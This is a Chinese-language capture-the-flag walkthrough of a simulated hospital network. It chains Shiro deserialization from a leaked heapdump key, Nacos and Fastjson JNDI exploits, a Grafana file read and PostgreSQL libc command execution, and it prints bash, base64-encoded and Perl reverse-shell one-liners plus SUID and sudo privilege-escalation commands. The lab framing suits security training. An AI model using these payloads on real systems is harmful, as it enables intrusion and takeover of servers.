1 | 在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。 |
目标地址:39.99.151.78
flag1
先尝试用fscan扫描目标。
发现存在heapdump泄露,尝试提取。
扫目录发现存在/actuator路由,那么信息泄露是拿捏稳稳的了。
访问后结果如下,发现/actuator/heapdump,下载下来。
接着我们提取heapdump文件内容。
1 | java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump >ans.txt |
发现了shirokey!
1 | GAYysgMQhG7/CzIJlVpR2g== |
再加上端口为8080,那么这个网站不出意外就是shiro框架的java网站了。
尝试直接用shiro一把梭工具扫一下。
直接获取了webshell权限。接着我们尝试注入内存马将权限转移到webshell管理工具上。
哥斯拉连接。
看看能不能找到第一个flag,但是我们在环境变量和根目录等地方都没有找到,那么先尝试提反弹shell吧。
1 | bash -c "bash -i >& /dev/tcp/156.238.233.113/4567 0>&1" |
接下来我们要做的是提权,因为现在的权限实在是太低了。尝试SUID提权。
发现vim.basic,可以尝试提权。
1 | /usr/bin/vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' |
获取到第一个flag
flag2
那么本机上就没有其他flag了,我们看看它的ip
内网ip为172.30.12.5
,用fscan扫扫内网网段。
那么我们需要先上传一个fscan,使用哥斯拉的文件上传功能即可。
我们收集到的主要资产如下:
http://172.30.12.236:8080 医院后台
http://172.30.12.6:8848 nacos
这里我们注意到这个nacos的资产存在一个未授权漏洞。
接下来我们需要建立隧道。我们往目标上上传一个frpc和一个frpc.toml
先配置我们vps的frps
1 | [common] |
然后配置一下靶机的frpc
1 | [common] |
然后配置一下proxifier

然后我们就能成功访问到内网啦
我们已经扫到nacos未授权了,用工具试一下。
直接注入内存马,然后用哥斯拉连接。
1 | flag{9dede423-c85a-4878-a1f2-6f08bab69ae4} |
flag3
接下来我们看这个目标!
http://172.30.12.236:8080 医院后台

fscan没有扫到什么东西,网页源代码也没有什么特殊的,我们抓包看看。
是以json的方式传递的,猜测为FastJson
发现fastjson版本为1.2.45
我们往web01上上传一个JNDI-Injection-Exploit攻击,进行fastjson反序列化
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMzAuMTIuNS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}' -A "172.30.12.5" |
将172.30.12.236反弹shell到172.30.12.5的8888端口
我们先给172.30.12.5开启一下nc监听,监听8888端口。
1 | { |
成功反弹shell!
然后我们进行以下操作,以后方便点。
1 | passwd |
1 | flag{a0655f59-3fd3-42fa-9ea8-2152d003e42c} |
flag4

我们发现多了一个172.30.54网段。用fscan扫一下,先上传。
我们把需要的工具放到web1上,然后去wget即可。
1 | python3 -m http.server 8000 |
发现了一个新目标172.30.54.12,端口为3000。服务是Grafana,能利用漏洞就只有 SSRF 和任意文件读取
利用工具:https://github.com/A-D-Team/grafanaExp/releases
这里我用这个工具报错了,不知道为啥
1 | #读取postgresql密码 |
直接拿别人的结果吧,看半天没看出原因,就不浪费钱了,1h=7r啊!!
1 | root@web03:/tmp# ./grafanaExp_linux_amd64 exp -u http://172.30.54.12:3000 |
接下来配置一个双层代理
frps.ini如下,上传到web01
1 | [common] |
frpc.ini如下,上传到web03
1 | [common] |
接着我们配置一下proxy chain
然后我们就能成功访问到目标啦~

接下来尝试连接数据库

连上后查询一下数据库版本
1 | select version() |
然后我们对 root
用户的密码进行修改
1 | ALTER USER root WITH PASSWORD '123456' |
PostgreSQL <= 8.1
可以通过调用系统的动态链接库 libc.so.6
来实现命令执行
1 | CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT |
创建函数成功后,执行命令时当返回值为 0
表示执行成功,其它值则是执行失败。我们使用 perl
反弹 shell,注意在 Web03
机器上监听端口
1 | select system('perl -e \'use Socket;$i="172.30.54.179";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''); |
执行后成功弹回shell!
但是我们是数据库用户权限,接下来要进行提权。
我们先获取一个交互式 shell,然后使用 psql 进行 sudo
提权
注意利用 psql
需要为绝对路径,否则需要 Linux
用户 postgres
的密码,其次需要 PostgreSQL
数据库中 root
用户的密码,不过前面我们修改过了。root
用户的密码为123456
具体psql怎么打看下面:


1 | flag{ab1d1d21-a477-4984-a4af-c462f5bce083} |